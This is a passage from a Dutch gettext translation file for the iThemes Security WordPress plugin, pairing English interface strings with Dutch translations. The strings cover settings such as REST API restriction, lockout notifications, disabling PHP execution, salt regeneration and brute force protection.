core/modules/wordpress-tweaks/settings-page.php:103 msgid "The <a href=\"%1$s\">WordPress REST API</a> is part of WordPress and provides developers with new ways to manage WordPress. By default, it could give public access to information that you believe is private on your site. For more details, see our post about the WordPress REST API <a href=\"%1$s\">here</a>." msgstr "De <a href=\"%1$s\">WordPress REST API</a> is onderdeel van WordPress en biedt ontwikkelaars nieuwe manieren om WordPress te beheren. Standaard kan het openbare toegang bieden tot informatie je privé wilt houden op je site. Voor meer details lees je ons bericht over de WordPress REST API <a href=\"%1$s\">hier</a>." #: core/modules/wordpress-tweaks/settings-page.php:38 msgid "Default Access" msgstr "Standaard Toegang" #: core/modules/wordpress-tweaks/settings-page.php:37 msgid "Restricted Access (recommended)" msgstr "Beperkte Toegang (aanbevolen)" #: core/modules/wordpress-tweaks/class-itsec-wordpress-tweaks.php:166 #: core/modules/wordpress-tweaks/class-itsec-wordpress-tweaks.php:181 #: core/modules/wordpress-tweaks/class-itsec-wordpress-tweaks.php:208 #: core/modules/wordpress-tweaks/class-itsec-wordpress-tweaks.php:230 msgid "You do not have sufficient permission to access this endpoint. Access to REST API requests is restricted by iThemes Security settings." msgstr "Je hebt onvoldoende rechten om dit eindpunt te benaderen. Toegang tot REST API verzoeken is beperkt door iThemes Security instellingen." #: core/modules/security-check/scanner.php:67 msgid "Changed the REST API setting in WordPress Tweaks to \"Restricted Access\"." msgstr "De REST API instelling in WordPress Tweaks in gewijzigd naar \"Beperkte Toegang\"." #: core/modules/wordpress-tweaks/settings-page.php:101 #: core/modules/wordpress-tweaks/validator.php:18 msgid "REST API" msgstr "REST API" #: core/modules/wordpress-tweaks/settings-page.php:140 msgid "Enabling this feature helps protect visitors to this site (including logged in users) from phishing attacks launched by a linked site. Details on tabnapping via target=\"_blank\" links can be found in <a href=\"%s\">this article</a>." msgstr "Deze functie inschakelen helpt bezoekers (inclusief ingelogde gebruikers) van deze site te beschermen tegen phishing aanvallen geïnitieerd door een gelinkte site. Details over tabnapping via target=\"_blank\" links kan worden gevonden in <a href=\"%s\">dit artikel</a>/" #: core/modules/wordpress-tweaks/settings-page.php:139 msgid "Alter target=\"_blank\" links to protect against tabnapping" msgstr "Pas target=\"_blank\" links aan om tegen tabnapping te beschermen" #: core/modules/wordpress-tweaks/settings-page.php:136 #: core/modules/wordpress-tweaks/validator.php:22 msgid "Protect Against Tabnapping" msgstr "Bescherm tegen tabnapping" #: core/modules/global/settings-page.php:162 msgid "The length of time a host or user will be banned from this site after hitting the limit of bad logins. The default setting of 15 minutes is recommended as increasing it could prevent attacking IP addresses from being added to the blacklist." msgstr "De tijd dat een host of gebruiker zal worden verbannen van deze site na het bereiken van de limiet van foutieve inlogpogingen. De standaardinstelling van 15 minuten word aangeraden omdat ophogen hiervan mogelijk het toevoegen van aanvallende IP-adressen aan de zwarte lijst tegen houdt." #. translators: 1: site URL, 2: email subject #: core/lib/class-itsec-mail.php:192 msgid "[%1$s] %2$s" msgstr "[%1$s] %2$s" #: core/lib/class-itsec-mail.php:176 msgid "Reason" msgstr "Reden" #: core/lib/class-itsec-mail.php:175 msgid "Lockout in Effect Until" msgstr "Uitsluiting effectief tot" #: core/lib/class-itsec-mail.php:174 msgid "Host/User" msgstr "Host/Gebruiker" #. translators: 1: Hostname #: core/lib/class-itsec-mail.php:165 msgid "<b>Host:</b> %1$s" msgstr "<b>Host:</b> %1$s" #. translators: 1: Username #: core/lib/class-itsec-mail.php:162 msgid "<b>User:</b> %1$s" msgstr "<b>Gebruiker:</b> %1$s" #: core/lockout.php:1104 msgid "[%s] Site Lockout Notification" msgstr "[%s] Site Uitsluiting Notificatie" #: core/lockout.php:1098 msgid "Visit Banned Users Settings" msgstr "Bezoek Verbannen Gebruikers Instellingen" #: core/lockout.php:1097 msgid "Release the permanent host ban from Ban Hosts list in the Banned Users section of the settings page." msgstr "Hef de permanente host blokkade op in de Verban Hosts lijst in de Verbannen Gebruikers sectie van de instellingenpagina." #: core/lockout.php:1093 msgid "Visit Settings Page" msgstr "Bezoek de Instellingenpagina" #: core/lockout.php:1092 msgid "Release lockouts from the Active Lockouts section of the settings page." msgstr "Hef uitsluitingen op in de Actieve Uitsluitingen sectie van de instellingenpagina." #: core/modules/strong-passwords/settings-page.php:41 msgid "For more information on WordPress roles and capabilities please see <a href=\"%1$s\" target=\"_blank\" rel=\"noopener noreferrer\">%1$s</a>." msgstr "Kijk voor meer informatie over WordPress rollen en mogelijkheden op <a href=\"%1$s\" target=\"_blank\" rel=\"noopener noreferrer\">%1$s</a>." #: core/modules/strong-passwords/class-itsec-strong-passwords.php:174 msgid "<strong>Error</strong>: Due to site rules, a strong password is required. Please choose a new password that rates as <strong>Strong</strong> on the meter." msgstr "<strong>Fout</strong>: In verband met regels van deze website, is gebruik van een sterk wachtwoord verplicht. Kies een nieuw wachtwoord dat wordt gewaardeerd als <strong>Sterk</strong> op de meter." #: core/modules/malware/class-itsec-malware-scan-results-template.php:113 msgid "Documentation: <a href=\"%1$s\" target=\"_blank\" rel=\"noopener noreferrer\">%2$s</a>" msgstr "Documentatie: <a href=\"%1$s\" target=\"_blank\" rel=\"noopener noreferrer\">%2$s</a>" #: core/modules/malware/class-itsec-malware-scan-results-template.php:97 msgid "Infected URL: <a href=\"%1$s\" target=\"_blank\" rel=\"noopener noreferrer\">%2$s</a>" msgstr "Geïnfecteerde URL: <a href=\"%1$s\" target=\"_blank\" rel=\"noopener noreferrer\">%2$s</a>" #: core/modules/file-change/settings-page.php:25 msgid "Changes were detected. Please check the <a href=\"%s\" target=\"_blank\" rel=\"noopener noreferrer\">logs page</a> for details." msgstr "Wijzigingen zijn gedetecteerd. Controleer de <a href=\"%s\" target=\"_blank\" rel=\"noopener noreferrer\">logs pagina</a> voor details." #: core/modules/ban-users/settings-page.php:33 msgid "As a getting-started point you can include the blacklist developed by Jim Walker." msgstr "Als startpunt kan je de zwarte lijst, ontwikkeld door Jim Walker, insluiten." #: core/modules/system-tweaks/settings-page.php:104 msgid "Disable PHP execution in the themes directory. This blocks requests to PHP files inside theme directories that can be exploited directly." msgstr "Deactiveer PHP-uitvoering in de themas map. Dit blokkeert verzoeken aan PHP-bestanden binnen thema mappen die rechtstreeks kunnen worden uitgebuit." #: core/modules/system-tweaks/settings-page.php:103 msgid "Disable PHP in Themes" msgstr "Deactiveer PHP in thema's" #: core/modules/backup/class-itsec-backup.php:282 msgid "Database Backup" msgstr "Database Back-up" #: core/modules/backup/class-itsec-backup.php:282 msgid "Site Database Backup for <b>%s</b>" msgstr "Site Database Back-up van <b>%s</b>" #: core/modules/backup/class-itsec-backup.php:283 msgid "Attached is the database backup file for your site." msgstr "Bijgesloten is het database back-up-bestand van je site." #: core/modules/backup/class-itsec-backup.php:286 msgid "Website" msgstr "Website" #: core/modules/system-tweaks/config-generators.php:91 #: core/modules/system-tweaks/config-generators.php:215 msgid "Disable PHP in Plugins - Security > Settings > System Tweaks > PHP in Plugins" msgstr "Deactiveer PHP in Plugins - Beveiliging > Instellingen > Systeem Tweaks > PHP in Plugins" #: core/modules/system-tweaks/config-generators.php:103 #: core/modules/system-tweaks/config-generators.php:228 msgid "Disable PHP in Themes - Security > Settings > System Tweaks > PHP in Themes" msgstr "Deactiveer PHP in Thema's - Beveiliging > Instellingen > Systeem Tweaks > PHP in Thema's" #: core/modules/system-tweaks/settings-page.php:48 msgid "Filter out hits with the trace, delete, or track request methods. This should not be enabled if you use the <a href=\"%s\">WordPress REST API</a>." msgstr "Filter hits met de verzoekmethodes trace, delete of track. Dit moet niet ingeschakeld worden als je de <a href=\"%s\">WordPress REST API</a> gebruikt." #: core/modules/system-tweaks/settings-page.php:84 #: core/modules/system-tweaks/validator.php:16 msgid "PHP in Uploads" msgstr "PHP in Uploads" #: core/modules/system-tweaks/settings-page.php:88 msgid "Disable PHP execution in the uploads directory. This blocks requests to maliciously uploaded PHP files in the uploads directory." msgstr "Deactiveer PHP-uitvoering in de uploads map. Dit blokkeert verzoeken aan kwaadwillig geüploadde PHP-bestanden in de uploads map." #: core/modules/system-tweaks/settings-page.php:92 #: core/modules/system-tweaks/validator.php:17 msgid "PHP in Plugins" msgstr "PHP in Plugins" #: core/modules/system-tweaks/settings-page.php:95 msgid "Disable PHP in Plugins" msgstr "Deactiveer PHP in Plugins" #: core/modules/system-tweaks/settings-page.php:96 msgid "Disable PHP execution in the plugins directory. This blocks requests to PHP files inside plugin directories that can be exploited directly." msgstr "Deactiveer PHP-uitvoering in de plugins map. Dit blokkeert verzoeken aan PHP-bestanden in de plugins mappen die rechtstreeks kunnen worden uitgebuit." #: core/modules/system-tweaks/settings-page.php:100 #: core/modules/system-tweaks/validator.php:18 msgid "PHP in Themes" msgstr "PHP in Thema's" #: core/lib/class-itsec-mail.php:137 msgid "Hosts" msgstr "Hosts" #: core/lib/class-itsec-mail.php:136 msgid "Users" msgstr "Gebruikers" #: core/lib/class-itsec-mail.php:75 msgid "Learn simple WordPress security tips — including 3 kinds of security your site needs and 4 best security practices for keeping your WordPress site safe with our <a href=\"%s\">free guide</a>." msgstr "Leer eenvoudige WordPress beveiligingstips — inclusief 3 soorten beveiliging die je site nodig heeft en 4 best practices voor beveiliging om je WordPress site veilig te houden met onze <a href=\"%s\">gratis gids</a>." #: core/lib/class-itsec-mail.php:74 msgid "Free WordPress Security Guide" msgstr "Gratis WordPress Beveiligingsgids" #: core/lib/class-itsec-mail.php:73 msgid "To unsubscribe from these updates, visit the Settings page in the iThemes Security plugin menu." msgstr "Om af te melden voor deze updates, bezoek je de Instellingenpagina in het iThemes Security plugin menu." #: core/lib/class-itsec-mail.php:73 msgid "This email was generated by the iThemes Security plugin." msgstr "Deze e-mail is gegenereerd door de iThemes Security plugin." #: core/lib/class-itsec-mail.php:71 msgid "Pro customers can contact <a href=\"%s\">iThemes Helpdesk</a> for help. Our support team answers questions Monday – Friday, 8am – 5pm (CST)." msgstr "Pro klanten kunnen contact opnemen met de <a href=\"%s\">iThemes Helpdesk</a> voor ondersteuning. Ons support team beantwoord vragen op maandag t/m vrijdag van 08:00 tot 17:00 uur (CST)." #: core/lib/class-itsec-mail.php:68 msgid "Read iThemes Security documentation and Frequently Asked Questions on <a href=\"%s\">the Codex</a>." msgstr "Lees de iThemes Security documentatie en Veelgestelde Vragen in <a href=\"%s\">de Codex</a>." #: core/lib/class-itsec-mail.php:67 msgid "Documentation" msgstr "Documentatie" #: core/lib/class-itsec-mail.php:66 msgid "Help & Support" msgstr "Hulp & Ondersteuning" #: core/lib/class-itsec-mail.php:65 msgid "Make the most of iThemes Security features with our <a href=\"%s\">free iThemes Security tutorials</a>." msgstr "Haal het meeste uit de iThemes Security functies met onze <a href=\"%s\">gratis iThemes Security tutorials</a>." #: core/lib/class-itsec-mail.php:64 msgid "Tutorials" msgstr "Tutorials" #: core/lib/class-itsec-mail.php:63 msgid "Read the latest in WordPress Security news, tips, and updates on <a href=\"%s\">iThemes Blog</a>." msgstr "Lees het laatste nieuws, tip en updates op het gebied van WordPress beveiliging op het <a href=\"%s\">iThemes Blog</a>." #: core/lib/class-itsec-mail.php:62 msgid "Articles" msgstr "Artikelen" #: core/lib/class-itsec-mail.php:61 msgid "Security Resources" msgstr "Beveiligingsbronnen" #: core/lib/class-itsec-mail.php:50 msgid "Why go Pro? <a href=\"%s\">Check out the Free/Pro comparison chart.</a>" msgstr "Waarom gaan voor Pro? <a href=\"%s\">Bekijk de Gratis/Pro vergelijkingstabel.</a>" #: core/lib/class-itsec-mail.php:48 msgid "Want two-factor authentication, scheduled malware scanning, ticketed support and more?" msgstr "Wil je twee-factor authenticatie, geplande malware scans, support via tickets en meer?" #: core/notify.php:150 msgid "Debug info (source page): %s" msgstr "Debug info (bronpagina): %s" #: core/notify.php:147 msgid "Run a Security Check ✓" msgstr "Draai een Beveiligingscheck ✓" #: core/notify.php:146 msgid "Ensure your site is using recommended settings and features with a security check." msgstr "Wees er zeker van dat je site de aanbevolen instellingen en functies gebruikt met een beveiligingscheck." #: core/notify.php:145 msgid "Is your site as secure as it could be?" msgstr "Is jouw site zo veilig als het kan zijn?" #: core/notify.php:143 msgid "For more details, <a href=\"%s\"><b>visit your security logs</b></a>" msgstr "Voor meer details, <a href=\"%s\"><b>bezoek je beveiligingslogboeken</b></a>" #: core/notify.php:128 msgid "Messages" msgstr "Berichten" #: core/notify.php:117 msgid "File changes detected on the site." msgstr "Bestandswijzigingen gedetecteerd op de site." #: core/notify.php:116 msgid "File Changes" msgstr "Bestandswijzgingen" #: core/notify.php:109 msgid "No lockouts since the last email check." msgstr "Geen uitsluitingen sinds de laatste e-mail check." #: core/notify.php:97 msgid "The following is a summary of security related activity on your site: <b>%s</b>" msgstr "Onderstaande is een samenvatting van beveiligingsgerelateerde activiteiten op je site: <b>%s</b>" #: core/notify.php:96 msgid "Your Daily Security Digest for <b>%s</b>" msgstr "Je dagelijkse Beveiligingsupdate voor <b>%s</b>" #: core/modules/pro/settings-page.php:142 msgid "Protect your site when outdated software is not updated quickly enough." msgstr "Bescherm je site als verouderde software niet snel genoeg geüpdated word." #: core/modules/pro/settings-page.php:141 msgid "Version Management" msgstr "Versiemanagement" #: core/modules/pro/settings-page.php:126 msgid "Every user on your site affects overall security. See how your users might be affecting your security and take action when needed." msgstr "Elke gebruiker op je site beïnvloed de algehele beveiliging. Zie hoe je gebruikers jouw beveiliging mogelijk beïnvloeden en onderneem actie waar nodig." #: core/modules/pro/settings-page.php:125 msgid "User Security Check" msgstr "Gebruikers Beveiliging Check" #: core/modules/security-check/settings-page.php:57 msgid "When the button below is clicked the following modules will be enabled and configured:" msgstr "Als op onderstaande knop word geklikt, worden de volgende modules geactiveerd en geconfigureerd:" #: core/modules/security-check/settings-page.php:56 msgid "Some features and settings are recommended for every site to run. This tool will ensure that your site is using these recommendations." msgstr "Sommige functies en instellingen zijn aanbevolen voor elke site. Deze tool zorgt ervoor dat je site deze aanbevelingen opvolgt." #: core/modules/security-check/scanner.php:107 msgid "Activating Network Brute Force Protection..." msgstr "Netwerk Brute Kracht Beveiliging activeren..." #: core/modules/security-check/settings-page.php:21 msgid "Run Secure Site Again" msgstr "Draai Beveilig Site opnieuw" #: core/modules/security-check/settings-page.php:20 msgid "Securing Site..." msgstr "Site beveiligen..." #: core/modules/security-check/settings-page.php:10 msgid "Ensure that your site is using the recommended features and settings." msgstr "Wees er zeker van dat je site de aanbevolen functies en instellingen gebruikt." #: core/modules/security-check/scanner.php:178 msgid "Your site is now using Network Brute Force Protection." msgstr "Je site gebruikt nu Netwerk Brute Kracht Beveiliging." #. Translators: 1: feature name #: core/modules/security-check/scanner.php:145 msgid "Enabled %1$s." msgstr "%1$s is geactiveerd." #. Translators: 1: feature name #: core/modules/security-check/scanner.php:139 msgid "%1$s is enabled as recommended." msgstr "%1$s is geactiveerd zoals aanbevolen." #: core/modules/security-check/scanner.php:104 msgid "Activate Network Brute Force Protection" msgstr "Activeer Netwerk Brute Kracht Beveiliging" #: core/modules/security-check/scanner.php:96 msgid "Receive email updates about WordPress Security from iThemes: %1$s" msgstr "Ontvang updates over WordPress beveiliging van iThemes per e-mail: %1$s" #: core/modules/security-check/scanner.php:91 msgid "Email Address: %1$s" msgstr "E-mailadres: %1$s" #: core/modules/security-check/scanner.php:89 msgid "With Network Brute Force Protection, your site is protected against attackers found by other sites running iThemes Security. If your site identifies a new attacker, it automatically notifies the network so that other sites are protected as well. To join this site to the network and enable the protection, click the button below." msgstr "Met Netwerk Brute Kracht Beveiliging is je site beveiligd tegen aanvallers die door andere sites met iThemes Security zijn geïdentificeerd. Als je site een nieuwe aanvaller indentificeert, wordt automatisch het netwerk op de hoogte gebracht, zodat andere sites ook beschermd zijn. Om deze site aan het netwerk toe te voegen en de beveiliging te activeren, klik je op onderstaande knop." #: core/modules/security-check/scanner.php:69 msgid "Enabled the Write to Files setting in Global Settings." msgstr "De Schrijf naar Bestanden instelling in Globale Instellingen is geactiveerd." #: core/modules/security-check/scanner.php:66 msgid "Changed the Multiple Authentication Attempts per XML-RPC Request setting in WordPress Tweaks to \"Block\"." msgstr "De Meerdere Authenticatie Pogingen per XML-RPC Verzoek instelling in WordPress Tweaks is gewijzigd naar \"Blokkeren\"." #: core/modules/security-check/scanner.php:65 msgid "Disabled the File Editor in WordPress Tweaks." msgstr "De Bestandsbewerker in WordPress Tweaks is gedeactiveerd." #: core/modules/security-check/scanner.php:52 msgid "Enabled the Email Notifications setting in Malware Scan Scheduling." msgstr "De E-mailnotificaties instelling in Malware Scan Planning is geactiveerd." #: core/modules/security-check/scanner.php:47 msgid "Enabled the Enable Ban Lists setting in Banned Users." msgstr "De Activeer Verbanningen Lijst instelling in Verbannen Gebruikers is geactiveerd." #: core/modules/file-permissions/settings-page.php:109 msgid "Reload File Permissions Details" msgstr "Herlaad Bestandspermissies Details" #: core/modules/file-permissions/settings-page.php:98 msgid "OK" msgstr "OK" #: core/modules/file-permissions/settings-page.php:20 msgid "Load File Permissions Details" msgstr "Laad Bestandspermissies Details" #: core/modules/file-permissions/settings-page.php:19 msgid "Click the button to load the current file permissions." msgstr "Klik op de knop op de huidige bestandspermissies te laden." #: core/modules/file-permissions/settings-page.php:7 msgid "Lists file and directory permissions of key areas of the site." msgstr "Toont een lijst van bestands- en mappenpermissies van belangrijke onderdelen van de site." #: core/modules/file-permissions/settings-page.php:6 msgid "File Permissions" msgstr "Bestandspermissies" #: core/modules/global/settings-page.php:191 msgid "This feature will trigger an email to be sent to the email addresses listed in the Notification Email setting whenever a host or user is locked out of the system." msgstr "Deze functie zorgt ervoor dat een e-mail word verzonden naar de e-mailadressen getoond in de E-mailmelding instelling wanneer een host of gebruiker uit het systeem uitgesloten is." #. translators: 1: New directory name #: core/modules/content-directory/settings-page.php:104 msgid "The content directory was successfully changed to <code>%1$s</code>." msgstr "De content map is succesvol gewijzigd naar <code>%1$s</code>." #: core/sidebar-widget-active-lockouts.php:115 #: core/sidebar-widget-temp-whitelist.php:112 msgid "No lockouts were selected for removal." msgstr "Er waren geen uitsluitingen geselecteerd voor verwijdering." #: core/sidebar-widget-active-lockouts.php:113 #: core/sidebar-widget-temp-whitelist.php:110 msgid "Successfully removed the selected lockout." msgid_plural "Sucessfully remove the selected lockouts." msgstr[0] "De geselecteerde uitsluiting is succesvol verwijderd." msgstr[1] "De geselecteerde uitsluitingen zijn succesvol verwijderd." #: core/sidebar-widget-active-lockouts.php:106 #: core/sidebar-widget-temp-whitelist.php:103 msgid "An unknown error prevented releasing the lockout the host with a lockout ID of %d" msgstr "Een onbekende fout heeft voorkomen dat de uitsluiting van de host met uitsluitings-ID %d is vrijgegeven." #: core/sidebar-widget-active-lockouts.php:95 #: core/sidebar-widget-temp-whitelist.php:92 msgid "An unknown error prevented releasing the lockout the user with a lockout ID of %d" msgstr "Een onbekende fout heeft voorkomen dat de uitsluiting van de gebruiker met uitsluitings-ID %d is vrijgegeven." #: core/sidebar-widget-active-lockouts.php:78 #: core/sidebar-widget-temp-whitelist.php:77 msgid "Release Selected Lockouts" msgstr "Geselecteerde uitsluitingen vrijgeven" #: core/sidebar-widget-active-lockouts.php:68 #: core/sidebar-widget-temp-whitelist.php:67 msgctxt "HOST - Expires in TIME" msgid "%1$s - Expires in %2$s" msgstr "%1$s - Verloopt over %2$s" #: core/sidebar-widget-active-lockouts.php:53 #: core/sidebar-widget-temp-whitelist.php:52 msgctxt "USER - Expires in TIME" msgid "%1$s - Expires in %2$s" msgstr "%1$s - Verloopt over %2$s" #: core/sidebar-widget-active-lockouts.php:43 #: core/sidebar-widget-temp-whitelist.php:42 msgid "There are no active lockouts at this time." msgstr "Er zijn momenteel geen actieve uitsluitingen." #: core/modules/wordpress-tweaks/settings-page.php:7 msgid "Advanced settings that improve security by changing default WordPress behavior." msgstr "Geavanceerde instellingen die beveiliging verbeteren door standaard WordPress gedrag te wijzigen." #: core/modules/system-tweaks/settings-page.php:7 msgid "Advanced settings that improve security by changing the server config for this site." msgstr "Geavanceerde instellingen die beveiliging verbeteren door de server configuratie voor deze site te wijzigen." #: core/modules/security-check/scanner.php:56 #: core/modules/strong-passwords/settings-page.php:9 msgid "Strong Password Enforcement" msgstr "Handhaving van sterk wachtwoord" #: core/modules/ssl/settings-page.php:10 msgid "Configure use of SSL to ensure that communications between browsers and the server are secure." msgstr "Stel gebruik in van SSL om er zeker van te zijn dat communicatie tussen browsers en de server beveiligd zijn." #: core/modules/ssl/settings-page.php:9 msgid "SSL" msgstr "SSL" #: core/modules/ssl/class-itsec-ssl-admin.php:33 msgid "Enable SSL:" msgstr "Activeer SSL:" #: core/modules/salts/validator.php:55 msgid "The WordPress salts were successfully regenerated." msgstr "De WordPress salts zijn succesvol geregenereerd." #: core/modules/salts/validator.php:35 msgid "You must check the Change WordPress Salts checkbox in order to change the WordPress salts." msgstr "Je moet de Wijzig WordPress Salts optie aanvinken om de WordPress salts te wijzigen." #: core/modules/salts/validator.php:16 msgid "Last Generated" msgstr "Laatst Gegenereerd" #: core/modules/salts/utilities.php:50 msgid "Unable to update the <code>wp-config.php</code> file in order to update the salts. You will need to manually update the file. Error details as follows: %1$s (%2$s)" msgstr "Kan het <code>wp-config.php</code> bestand niet bijwerken om de salts bij te werken. Je zal het bestand handmatig moeten aanpassen. Foutdetails zijn als volgt: %1$s (%2$s)" #: core/modules/salts/utilities.php:16 msgid "Unable to read the <code>wp-config.php</code> file in order to update the salts. You will need to manually update the file. Error details as follows: %1$s (%2$s)" msgstr "Kan het <code>wp-config.php</code> bestand niet lezen om de salts bij te werken. Je zal het bestand handmatig moeten bijwerken. Foutdetails zijn als volgt: %1$s (%2$s)" #: core/modules/salts/settings-page.php:33 msgid "Check this box and then save settings to change your WordPress Salts." msgstr "Vink dit veld aan en sla de instellingen op om je WordPress Salts te wijzigen." #: core/modules/salts/settings-page.php:7 msgid "Update the secret keys WordPress uses to increase the security of your site." msgstr "Update de geheime sleutels die WordPress gebruikt om de beveiliging van je site te verbeteren." #: core/modules/pro/settings-page.php:78 msgid "Export your settings as a backup or to import on other sites for quicker setup." msgstr "Exporteer je instellingen als een back-up of om deze te importeren op andere sites voor een snellere setup." #: core/modules/pro/settings-page.php:77 msgid "Settings Import and Export" msgstr "Instellingen Import en Export" #: core/modules/pro/settings-page.php:110 msgid "Log user actions such as login, saving content and others." msgstr "Leg gebruikersacties zoals logins, opslaan van content en andere acties vast." #: core/modules/pro/settings-page.php:109 #: core/modules/security-check/scanner.php:19 #: core/modules/security-check/scanner.php:63 msgid "User Logging" msgstr "Gebruiker Logboeken" #: core/modules/pro/settings-page.php:94 msgid "Two-Factor Authentication greatly increases the security of your WordPress user account by requiring additional information beyond your username and password in order to log in." msgstr "Twee-Factor Authenticatie zorgt voor grote verbetering van de beveiliging van jouw WordPress gebruikersaccount door aanvullende informatie, naast je gebruikersnaam en wachtwoord, te vereisen voor inloggen." #: core/modules/pro/settings-page.php:93 #: core/modules/security-check/scanner.php:18 #: core/modules/security-check/scanner.php:57 msgid "Two-Factor Authentication" msgstr "Twee-Factor Authenticatie" #: core/modules/pro/settings-page.php:59 msgid "Protect your site from bots by verifying that the person submitting comments or logging in is indeed human." msgstr "Bescherm je site tegen bots door te verifiëren dat de persoon die een reactie verstuurt of wil inloggen een mens is." #: core/modules/pro/settings-page.php:58 msgid "reCAPTCHA" msgstr "reCAPTCHA" #: core/modules/pro/settings-page.php:43 msgid "Strengthen the passwords on the site with automated password expiration." msgstr "Versterk de wachtwoorden op de site met geautomatiseerd verlopen van wachtwoorden." #: core/modules/pro/settings-page.php:42 msgid "Password Expiration" msgstr "Wachtwoord verval" #: core/modules/pro/settings-page.php:27 msgid "Allow administrators to temporarily grant extra access to a user of the site for a specified period of time." msgstr "Sta beheerders toe om tijdelijk aanvullende toegang aan een gebruiker te verlenen gedurende een specifieke periode." #: core/modules/pro/settings-page.php:26 msgid "Privilege Escalation" msgstr "Privilege Verhoging" #: core/modules/pro/settings-page.php:11 msgid "Protect your site with automated malware scans. When this feature is enabled, the site will be automatically scanned each day. If a problem is found, an email is sent to select users." msgstr "Bescherm je site met geautomatiseerde malware scans. Wanneer deze functie geactiveerd is, zal de site dagelijks automatisch gescand worden. Als er een probleem word gevonden, zal een e-mail worden gezonden naar geselecteerde gebruikers." #: core/modules/pro/settings-page.php:10 #: core/modules/security-check/scanner.php:15 #: core/modules/security-check/scanner.php:51 msgid "Malware Scan Scheduling" msgstr "Malware Scan Planning" #: core/modules/multisite-tweaks/settings-page.php:7 msgid "Advanced settings that improve security by changing default WordPress Multisite behavior." msgstr "Geavanceerde instellingen die beveiliging verbeteren door standaard WordPress Multisite gedrag te wijzigen." #: core/modules/malware/class-itsec-malware-scanner.php:134 msgid "The scan failed due to an unexpected technical error. The response from the wp_remote_get function contains an empty body entry. Since the body entry contains the response for the request to Sucuri's servers, the response cannot be processed. This could indicate a plugin/theme compatibility issue or a problem in WordPress." msgstr "De scan is mislukt door een onverwachte technische fout. Het antwoord van de wp_remote_get functie bevat een lege body invoer. Omdat de body invoer het antwoord voor het verzoek aan Sucuri's servers bevat, kan het antwoord niet worden verwerkt. Dit kan veroorzaakt zijn door een probleem in compatibiliteit tussen een plugin en thema of een probleem in WordPress." #: core/modules/ipcheck/validator.php:20 msgid "API Secret" msgstr "API Geheim" #: core/modules/ipcheck/utilities.php:103 msgid "An unknown error prevented the API key secrete request from succeeding. The request for an API key secret returned an empty key secret. Please wait a few minutes and try again." msgstr "Een onbekende fout verhinderde het verzoek voor een API geheime sleutel te slagen. Het verzoek voor een API geheime sleutel heeft een lege geheime sleutel opgeleverd. Wacht enkele minuten en probeer het opnieuw." #: core/modules/ipcheck/utilities.php:97 msgid "An unknown error prevented the API key secret request from succeeding. The request for an API key secret returned an unrecognized response. Please wait a few minutes and try again." msgstr "Een onbekende fout verhinderde het verzoek voor een API geheime sleutel te slagen. Het verzoek voor een API geheime sleutel heeft een niet herkend antwoord opgeleverd. Wacht enkele minuten en probeer het opnieuw." #: core/modules/ipcheck/utilities.php:95 msgid "There was an error returned from the Network Brute Force Protection API: %1$s" msgstr "Er is een foutmelding gekomen van de Netwerk Brute Kracht Beveiliging API: %1$s" #: core/modules/ipcheck/utilities.php:87 msgid "An unknown error prevented the API key secret request from succeeding. This problem could be due to a server configuration or plugin compatibility issue. Please wait a few minutes and try again." msgstr "Een onbekende fout verhinderde het verzoek voor een API geheime sleutel te slagen. Dit probleem kan worden veroorzaakt door een server configuratie of probleem met plugin compatibiliteit. Wacht enkele minuten en probeer het opnieuw." #: core/modules/ipcheck/utilities.php:69 msgid "An unknown error prevented the API key secret request from succeeding. The request for an API key submitted an empty key. Please wait a few minutes and try again." msgstr "Een onbekende fout verhinderde het verzoek voor een API geheime sleutel te slagen. Het verzoek voor een API sleutel verzond een lege sleutel. Wacht enkele minuten en probeer het opnieuw." #: core/modules/ipcheck/utilities.php:50 msgid "An unknown error prevented the API key request from succeeding. The request for an API key returned an empty key. Please wait a few minutes and try again." msgstr "Een onbekende fout verhinderde het verzoek voor een API sleutel te slagen. Het verzoek voor een API sleutel zond een lege sleutel terug. Wacht enkele minuten en probeer het opnieuw." #: core/modules/ipcheck/utilities.php:44 msgid "An unknown error prevented the API key request from succeeding. The request for an API key returned an unrecognized response. Please wait a few minutes and try again." msgstr "Een onbekende fout verhinderde het verzoek voor een API sleutel te slagen. Het verzoek voor een API sleutel verzond niet herkend antwoord. Wacht enkele minuten en probeer het opnieuw." #: core/modules/ipcheck/utilities.php:38 msgid "An unknown error prevented the API key request from succeeding. This problem could be due to a server configuration or plugin compatibility issue. Please wait a few minutes and try again." msgstr "Een onbekende fout verhinderde het verzoek voor een API sleutel te slagen. Dit probleem kan worden veroorzaakt door een server configuratie of probleem met plugin compatibiliteit. Wacht enkele minuten en probeer het opnieuw." #: core/modules/ipcheck/utilities.php:20 msgid "The supplied email address (%s) is invalid. A valid email address is required in order to sign up for the Network Bruteforce Protection by iThemes." msgstr "Het opgegeven e-maildres (%s) is ongeldig. Een geldig e-mailadres is verplicht om aan te melden voor het Netwerk Brute Kracht Beveiliging van iThemes." #: core/modules/ipcheck/settings-page.php:93 msgid "Automatically ban IPs reported as a problem by the network." msgstr "Verban IP-adressen die door het netwerk zijn gerapporteerd als een probleem automatisch." #: core/modules/ipcheck/settings-page.php:90 #: core/modules/ipcheck/validator.php:21 msgid "Ban Reported IPs" msgstr "Verban Gerapporteerde IP's" #: core/modules/ipcheck/settings-page.php:82 #: core/modules/ipcheck/validator.php:19 msgid "API Key" msgstr "API sleutel" #: core/modules/ipcheck/settings-page.php:72 #: core/modules/ipcheck/validator.php:17 msgid "Receive Email Updates" msgstr "Ontvang E-mailupdates" #: core/modules/ipcheck/settings-page.php:63 msgid "To get started with iThemes Network Brute Force Protection, please supply your email address and save the settings. This will provide this site with an API key and starts the site protection." msgstr "Om te beginnen met iThemes Netwerk Brute Kracht Bescherming, geef jouw e-mailadres op en sla de instellingen op. Hiermee ontvangt deze site een API sleutel en begint de bescherming van de site." #: core/modules/ipcheck/settings-page.php:39 msgid "An unknown error prevented the API key from being reset properly. An unrecognized response was received. Please wait a few minutes and try again." msgstr "Een onbekende fout verhinderde het herstellen van de API sleutel. Een niet herkend antwoord is ontvangen. Wacht enkele minuten en probeer het opnieuw." #: core/modules/ipcheck/settings-page.php:20 msgid "Resetting..." msgstr "Herstellen..." #: core/modules/ipcheck/settings-page.php:10 msgid "Join a network of sites that reports and protects against bad actors on the internet." msgstr "Word lid van een netwerk van sites die rapporteren en beschermen tegen slechterikken op het internet." #: core/modules/ipcheck/settings-page.php:9 #: core/modules/security-check/scanner.php:16 #: core/modules/security-check/scanner.php:83 msgid "Network Brute Force Protection" msgstr "Netwerk Brute Kracht Bescherming" #: core/modules/hide-backend/validator.php:90 msgid "[%1$s] 